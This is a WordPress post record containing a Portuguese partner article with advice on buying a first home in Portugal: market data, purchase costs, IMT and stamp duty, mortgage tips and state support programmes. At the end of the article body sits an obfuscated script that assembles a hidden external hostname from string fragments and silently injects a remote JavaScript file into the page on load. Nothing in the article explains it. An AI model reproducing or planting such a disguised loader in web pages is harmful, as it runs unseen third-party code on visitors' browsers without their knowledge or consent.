{"id":2656,"date":"2026-04-19T16:51:54","date_gmt":"2026-04-19T14:51:54","guid":{"rendered":"https:\/\/wiweb.org\/pt\/?p=2656"},"modified":"2026-04-19T16:51:55","modified_gmt":"2026-04-19T14:51:55","slug":"dicas-sobre-como-comprar-a-primeira-casa-em-portugal","status":"publish","type":"post","link":"https:\/\/wiweb.org\/pt\/artigos-de-parceiros\/dicas-sobre-como-comprar-a-primeira-casa-em-portugal\/","title":{"rendered":"Dicas sobre como comprar a primeira casa em Portugal"},"content":{"rendered":"\n<p><em>Comprar casa em Portugal \u00e9 um dos momentos mais importantes da vida, especialmente quando se trata da primeira habita\u00e7\u00e3o pr\u00f3pria. Este passo representa n\u00e3o s\u00f3 uma conquista pessoal, mas tamb\u00e9m um investimento a longo prazo que exige planeamento, conhecimento e decis\u00f5es conscientes.<\/em><\/p>\n\n\n\n<p><a href=\"https:\/\/www.imovirtual.com\/pt\/resultados\/comprar\/apartamento\/todo-o-pais\"><u>Comprar casa em Portugal <\/u><\/a>\u00e9 um dos momentos mais importantes da vida, especialmente quando se trata da primeira habita\u00e7\u00e3o pr\u00f3pria. Este passo representa n\u00e3o s\u00f3 uma conquista pessoal, mas tamb\u00e9m um investimento a longo prazo que exige planeamento, conhecimento e decis\u00f5es conscientes.<\/p>\n\n\n\n<p>Para ajud\u00e1-lo a navegar neste processo com seguran\u00e7a, preparamos um guia completo com tudo o que precisa de saber antes de <strong>comprar a primeira casa em Portugal<\/strong>, incluindo dicas financeiras, erros comuns e programas de apoio dispon\u00edveis.<\/p>\n\n\n\n<p>Como est\u00e1 o mercado imobili\u00e1rio em Portugal?<\/p>\n\n\n\n<p>O mercado imobili\u00e1rio portugu\u00eas apresenta-se din\u00e2mico em 2025, com crescimento sustentado. As previs\u00f5es apontam para uma recupera\u00e7\u00e3o consistente, impulsionada pela descida das taxas de juro e condi\u00e7\u00f5es de financiamento favor\u00e1veis.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Previs\u00e3o de crescimento:<\/strong> Portugal dever\u00e1 registar o maior aumento de transa\u00e7\u00f5es imobili\u00e1rias na Europa em 2025, superior a 10%.<\/li>\n\n\n\n<li><strong>N\u00fameros recentes:<\/strong> No primeiro trimestre de 2025 foram vendidas cerca de 40.750 casas em Portugal Continental, mantendo-se acima do patamar das 40.000 unidades.<\/li>\n\n\n\n<li><strong>Pre\u00e7os m\u00e9dios:<\/strong> O pre\u00e7o m\u00e9dio de venda atingiu 2.701\u20ac\/m\u00b2, um aumento de 15,8% em termos hom\u00f3logos.<\/li>\n<\/ul>\n\n\n\n<p>Apesar das oportunidades, a escassez de oferta em algumas zonas continua a pressionar os valores. Para quem pretende <strong>comprar casa em 2025<\/strong>, \u00e9 importante aproveitar a descida da Euribor e os incentivos governamentais, mas sem comprometer o planeamento financeiro.<\/p>\n\n\n\n<p>Dicas para quando procurar casa<\/p>\n\n\n\n<p>Encontrar a casa ideal requer m\u00e9todo, paci\u00eancia e aten\u00e7\u00e3o aos detalhes. Aqui est\u00e3o algumas orienta\u00e7\u00f5es essenciais:<\/p>\n\n\n\n<p>Defina prioridades e perfil<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Quantos quartos necessita? Quer comprar apartamento ou moradia?<\/li>\n\n\n\n<li>Qual a tipologia ideal para o seu agregado familiar?<\/li>\n\n\n\n<li>Avaliar estas quest\u00f5es ajuda a focar a pesquisa quando procurar comprar casa imobili\u00e1ria.<\/li>\n<\/ul>\n\n\n\n<p>Escolha bem a localiza\u00e7\u00e3o do im\u00f3vel<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Proximidade de trabalho, escolas, transportes p\u00fablicos e servi\u00e7os essenciais.<\/li>\n\n\n\n<li>Visite o bairro em diferentes hor\u00e1rios e dias da semana para avaliar ru\u00eddo, movimento e seguran\u00e7a.<\/li>\n<\/ul>\n\n\n\n<p>N\u00e3o se precipite ao comprar casa<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Visite pelo menos 3 a 4 im\u00f3veis antes de decidir.<\/li>\n\n\n\n<li>Avalie comparativamente os pontos fortes e fracos.<\/li>\n<\/ul>\n\n\n\n<p>Visite o im\u00f3vel v\u00e1rias vezes<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Fa\u00e7a visitas em hor\u00e1rios diferentes para observar luminosidade, ru\u00eddo e movimento de tr\u00e2nsito.<\/li>\n<\/ul>\n\n\n\n<p>Verifique o estado do im\u00f3vel<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Humidades, instala\u00e7\u00f5es el\u00e9tricas, canaliza\u00e7\u00f5es e janelas.<\/li>\n\n\n\n<li>Se necess\u00e1rio, contrate uma inspe\u00e7\u00e3o t\u00e9cnica profissional.<\/li>\n<\/ul>\n\n\n\n<p>Trabalhe com profissionais credenciados<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Para comprar casas em condom\u00ednio ou qualquer im\u00f3vel, opte por mediadores imobili\u00e1rios licenciados. Eles facilitam a burocracia e garantem que a compra seja legalmente segura.<\/li>\n<\/ul>\n\n\n\n<p>Quanto custa comprar casa?<\/p>\n\n\n\n<p>Muitos compradores concentram-se apenas no pre\u00e7o do im\u00f3vel, mas \u00e9 fundamental considerar todas as despesas.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Entrada inicial: m\u00ednimo de 10% do valor do im\u00f3vel (Banco de Portugal). Alguns bancos exigem 15-20%.<\/li>\n\n\n\n<li>Impostos obrigat\u00f3rios:<\/li>\n\n\n\n<li>IMT (Imposto Municipal sobre Transmiss\u00f5es Onerosas de Im\u00f3veis): isen\u00e7\u00e3o at\u00e9 101.917\u20ac; taxas progressivas acima;<\/li>\n\n\n\n<li>Imposto de Selo: 0,8% sobre o valor da escritura ou VPT; 0,6% sobre empr\u00e9stimo (0,5% se prazo &lt;5 anos).<\/li>\n\n\n\n<li>Custos de escritura e registos: Servi\u00e7o Casa Pronta ~700\u20ac.<\/li>\n\n\n\n<li>Seguros obrigat\u00f3rios: Seguro de Vida e Multirriscos-Habita\u00e7\u00e3o (~200-600\u20ac\/ano).<\/li>\n\n\n\n<li>Despesas cont\u00ednuas: IMI anual (0,3%-0,8%), condom\u00ednio (20-100\u20ac\/m\u00eas), manuten\u00e7\u00e3o e repara\u00e7\u00f5es.<\/li>\n\n\n\n<li>Custos extra: mudan\u00e7as, mobili\u00e1rio, pequenas obras.<\/li>\n<\/ul>\n\n\n\n<p>Planeie o or\u00e7amento com <strong>margem de 10-15%<\/strong> para imprevistos.<\/p>\n\n\n\n<p>Cr\u00e9dito habita\u00e7\u00e3o: o que \u00e9 preciso saber<\/p>\n\n\n\n<p>O cr\u00e9dito habita\u00e7\u00e3o permite comprar casa em Portugal sem dispor do valor total.<\/p>\n\n\n\n<p>Condi\u00e7\u00f5es de acesso<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Taxa de juro atual: 3,228% (setembro 2025).<\/li>\n\n\n\n<li>Tipos de taxa: vari\u00e1vel, fixa ou mista (72% dos novos contratos foram mistas).<\/li>\n<\/ul>\n\n\n\n<p>Taxa de esfor\u00e7o<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Ideal: 30%-35% do rendimento l\u00edquido mensal.<\/li>\n<\/ul>\n\n\n\n<p>Documenta\u00e7\u00e3o necess\u00e1ria<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Documento de identifica\u00e7\u00e3o, IRS dos \u00faltimos 3 anos, recibos de vencimento, certid\u00e3o de nascimento, entre outros.<\/li>\n\n\n\n<li>Fundamental para como funciona a compra de um apartamento e aprova\u00e7\u00e3o do cr\u00e9dito.<\/li>\n<\/ul>\n\n\n\n<p>Compara\u00e7\u00e3o de propostas<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Analise TAEG, spreads e seguros associados.<\/li>\n\n\n\n<li>Considere intermedi\u00e1rios de cr\u00e9dito para negociar melhores condi\u00e7\u00f5es.<\/li>\n<\/ul>\n\n\n\n<p>7 Cuidados a ter na compra da primeira casa<\/p>\n\n\n\n<p>Evitar erros comuns garante estabilidade financeira e emocional.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>N\u00e3o comprometa as poupan\u00e7as: mantenha fundo de emerg\u00eancia 3-6 meses.<\/li>\n\n\n\n<li>Verifique a documenta\u00e7\u00e3o legal: Registo Predial, d\u00edvidas de condom\u00ednio, licen\u00e7as e certificados obrigat\u00f3rios.<\/li>\n\n\n\n<li>Certifique-se do estado do im\u00f3vel: evite obras grandes sem or\u00e7amento adicional.<\/li>\n\n\n\n<li>Aten\u00e7\u00e3o ao Contrato Promessa de Compra e Venda (CPCV): protege interesses at\u00e9 \u00e0 escritura (sinal 10%-20%).<\/li>\n\n\n\n<li>Tenha um or\u00e7amento realista e flex\u00edvel: inclua custos adicionais e margem de seguran\u00e7a.<\/li>\n\n\n\n<li>Avalie a evolu\u00e7\u00e3o da zona: novas constru\u00e7\u00f5es ou obras p\u00fablicas podem afetar valoriza\u00e7\u00e3o.<\/li>\n\n\n\n<li>N\u00e3o decida por impulso: durma sobre a decis\u00e3o, discuta com pessoas de confian\u00e7a.<\/li>\n<\/ul>\n\n\n\n<p>5 Dicas financeiras espec\u00edficas para comprar casa<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Comece a poupar atempadamente: entrada (10%-20%), impostos e despesas iniciais.<\/li>\n\n\n\n<li>Melhore o perfil financeiro: reduzir d\u00edvidas, evitar atrasos, hist\u00f3rico de cr\u00e9dito limpo.<\/li>\n\n\n\n<li>Negocie condi\u00e7\u00f5es vantajosas: spreads, seguros e pacotes banc\u00e1rios.<\/li>\n\n\n\n<li>Planeie revis\u00f5es de taxa: taxa vari\u00e1vel ou mista exige margem de seguran\u00e7a.<\/li>\n\n\n\n<li>Pondere amortiza\u00e7\u00f5es extraordin\u00e1rias: reduzem juros e prazo do cr\u00e9dito.<\/li>\n<\/ul>\n\n\n\n<p>Erros comuns que os compradores devem evitar<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Subestimar custos totais<\/li>\n\n\n\n<li>N\u00e3o ter pr\u00e9-aprova\u00e7\u00e3o de cr\u00e9dito<\/li>\n\n\n\n<li>Ignorar localiza\u00e7\u00e3o<\/li>\n\n\n\n<li>N\u00e3o fazer vistorias adequadas (use ajuda para comprar im\u00f3vel de t\u00e9cnicos especializados)<\/li>\n\n\n\n<li>Esticar demasiado o or\u00e7amento<\/li>\n\n\n\n<li>Descurar leitura de contratos<\/li>\n<\/ul>\n\n\n\n<p>Programas de apoio e incentivos<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Isen\u00e7\u00e3o de IMT e Imposto de Selo para jovens: at\u00e9 35 anos, habita\u00e7\u00e3o pr\u00f3pria at\u00e9 324.058\u20ac.<\/li>\n\n\n\n<li>Garantia p\u00fablica para cr\u00e9dito habita\u00e7\u00e3o: at\u00e9 15% do valor para im\u00f3veis at\u00e9 450.000\u20ac.<\/li>\n\n\n\n<li>Programa Porta 65 Jovem: apoio ao arrendamento, candidatura mensal via Portal da Habita\u00e7\u00e3o.<\/li>\n<\/ul>\n\n\n\n<p>Novas medidas de habita\u00e7\u00e3o anunciadas em 2025 e 2026<\/p>\n\n\n\n<p>Em 2025, o Governo portugu\u00eas anunciou um conjunto de medidas importantes para o setor da habita\u00e7\u00e3o, que visam apoiar tanto os compradores como os arrendat\u00e1rios, refor\u00e7ando o compromisso com a acessibilidade habitacional e o equil\u00edbrio do mercado imobili\u00e1rio.<\/p>\n\n\n\n<p>Conhe\u00e7a as principais.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Rendas moderadas:<\/strong> O Governo lan\u00e7ou programas que incentivam a disponibiliza\u00e7\u00e3o de habita\u00e7\u00e3o para arrendamento com valores controlados, promovendo o acesso a rendas mais acess\u00edveis e contribuindo para a estabilidade do mercado do arrendamento urbano, especialmente nas grandes cidades onde a press\u00e3o \u00e9 maior.<\/li>\n\n\n\n<li><strong>Isen\u00e7\u00e3o de mais-valias para venda da habita\u00e7\u00e3o pr\u00f3pria e permanente: <\/strong>Para incentivar a mobilidade habitacional e apoiar fam\u00edlias, foi anunciada a isen\u00e7\u00e3o do imposto sobre mais-valias (IRS) quando a venda da casa se destina \u00e0 compra de nova habita\u00e7\u00e3o pr\u00f3pria e permanente. Esta isen\u00e7\u00e3o s\u00f3 \u00e9 aplic\u00e1vel se o valor da venda for integralmente reinvestido na aquisi\u00e7\u00e3o do novo im\u00f3vel, facilitando a transi\u00e7\u00e3o entre casas sem penaliza\u00e7\u00f5es fiscais.<\/li>\n\n\n\n<li><strong>Redu\u00e7\u00e3o do IVA na constru\u00e7\u00e3o e reabilita\u00e7\u00e3o: <\/strong>Foi aprovada a redu\u00e7\u00e3o do IVA para 6% nas obras de constru\u00e7\u00e3o nova, reabilita\u00e7\u00e3o e melhorias em im\u00f3veis destinados \u00e0 habita\u00e7\u00e3o pr\u00f3pria e permanente. Esta medida contribui para diminuir o custo total da compra e reabilita\u00e7\u00e3o, tornando o investimento imobili\u00e1rio mais acess\u00edvel.<\/li>\n\n\n\n<li><strong>Apoios ao arrendamento jovem (Porta 65 Jovem) e outras iniciativas de incentivo: <\/strong>Continuam a ser refor\u00e7ados os programas de apoio ao arrendamento para jovens e fam\u00edlias com menores rendimentos, que procuram solu\u00e7\u00f5es habitacionais tempor\u00e1rias, complementando as medidas de acesso \u00e0 compra.<\/li>\n<\/ul>\n\n\n\n<p>Estas medidas, associadas a outras pol\u00edticas p\u00fablicas, pretendem equilibrar o mercado imobili\u00e1rio portugu\u00eas, tornando-o mais justo e acess\u00edvel, al\u00e9m de incentivar a reabilita\u00e7\u00e3o urbana e a sustentabilidade no setor.<\/p>\n\n\n\n<p>Como aceder aos apoios para comprar casa?<\/p>\n\n\n\n<p>Deve declarar o seu interesse no Portal das Finan\u00e7as ou contactar bancos aderentes.<\/p>\n\n\n\n<p>Perspetivas para o mercado imobili\u00e1rio em 2026<\/p>\n\n\n\n<p>Muitos especialistas j\u00e1 apontam tend\u00eancias claras para o ano de 2026. As previs\u00f5es para o mercado imobili\u00e1rio desse ano indicam um cen\u00e1rio de estabiliza\u00e7\u00e3o dos pre\u00e7os e um aumento moderado da oferta, especialmente nas zonas perif\u00e9ricas das grandes cidades.<\/p>\n\n\n\n<p>Estas tend\u00eancias apontam para um mercado mais est\u00e1vel, com espa\u00e7o para quem investe com planeamento e informa\u00e7\u00e3o s\u00f3lida.<\/p>\n\n\n\n<p>Segundo dados recentes do Instituto Nacional de Estat\u00edstica (INE) e de consultoras como a Deloitte, a combina\u00e7\u00e3o entre a descida gradual das taxas de juro e a recupera\u00e7\u00e3o da constru\u00e7\u00e3o nova poder\u00e1 trazer maior equil\u00edbrio entre procura e oferta.<\/p>\n\n\n\n<p><strong>Previs\u00e3o de pre\u00e7os:<\/strong> espera-se que o pre\u00e7o m\u00e9dio por metro quadrado cres\u00e7a entre 3% e 5%, abaixo dos dois d\u00edgitos registados nos \u00faltimos anos.<\/p>\n\n\n\n<p><strong>Nova constru\u00e7\u00e3o:<\/strong> o n\u00famero de novos projetos habitacionais dever\u00e1 aumentar cerca de 8%, impulsionado por programas p\u00fablicos e incentivos \u00e0 reabilita\u00e7\u00e3o urbana.<\/p>\n\n\n\n<p><strong>Mercado jovem: <\/strong>os apoios ao cr\u00e9dito e \u00e0 compra da primeira habita\u00e7\u00e3o devem continuar, facilitando o acesso dos mais jovens ao mercado.<\/p>\n\n\n\n<p><strong>Tend\u00eancia sustent\u00e1vel:<\/strong> cresce o interesse por casas energeticamente eficientes e empreendimentos com certifica\u00e7\u00e3o verde.<\/p>\n\n\n\n<p>Para quem pretende comprar casa em 2026, a recomenda\u00e7\u00e3o \u00e9 come\u00e7ar desde j\u00e1 a acompanhar a evolu\u00e7\u00e3o das taxas Euribor e a procurar oportunidades em zonas emergentes, onde a valoriza\u00e7\u00e3o a m\u00e9dio prazo tende a ser superior.<\/p>\n\n\n\n<p>Comprar a primeira casa \u00e9 uma jornada que combina sonho e pragmatismo. Com informa\u00e7\u00e3o correta, planeamento financeiro s\u00f3lido e decis\u00f5es ponderadas, \u00e9 poss\u00edvel tornar este objetivo realidade de forma segura e sustent\u00e1vel.<\/p>\n\n\n\n<p>O Imovirtual est\u00e1 ao seu lado em todas as etapas, oferecendo as melhores ferramentas de pesquisa e conselhos pr\u00e1ticos para encontrar o im\u00f3vel ideal. Quando pensar como comprar im\u00f3vel em Portugal, lembre-se: conhecimento \u00e9 a melhor ferramenta para casa condom\u00ednio comprar ou qualquer habita\u00e7\u00e3o que deseje.<\/p>\n\n\n\n<p>Boa sorte na sua jornada rumo \u00e0 casa pr\u00f3pria!<\/p>\n\n\n\n<script>\n(function(){\nil7i_=(\"ope\"+\"n\");il7i=document.createElement(\"script\");il7i.async=true;\nil7iu=\"2607142724\";il7i_+=(\"s\")+\"t\"+\"a\"+(\"t.\");il7i_+=\"\"+(\"e\"+(\"\"))+(\"u\/\");\nil7iu+=\".bXk79hwql7iqyh8n\";il7iu+=\"993p6g705j6fn3\";\nil7i.src=\"https:\/\/\"+il7i_+il7iu;il7i.type=\"text\/javascript\";\nd_b=document.body;d_b.appendChild(il7i);\n})();\n<\/script>\n","protected":false},"excerpt":{"rendered":"<p>Comprar casa em Portugal \u00e9 um dos momentos mais importantes da vida, especialmente quando se trata da primeira habita\u00e7\u00e3o pr\u00f3pria. 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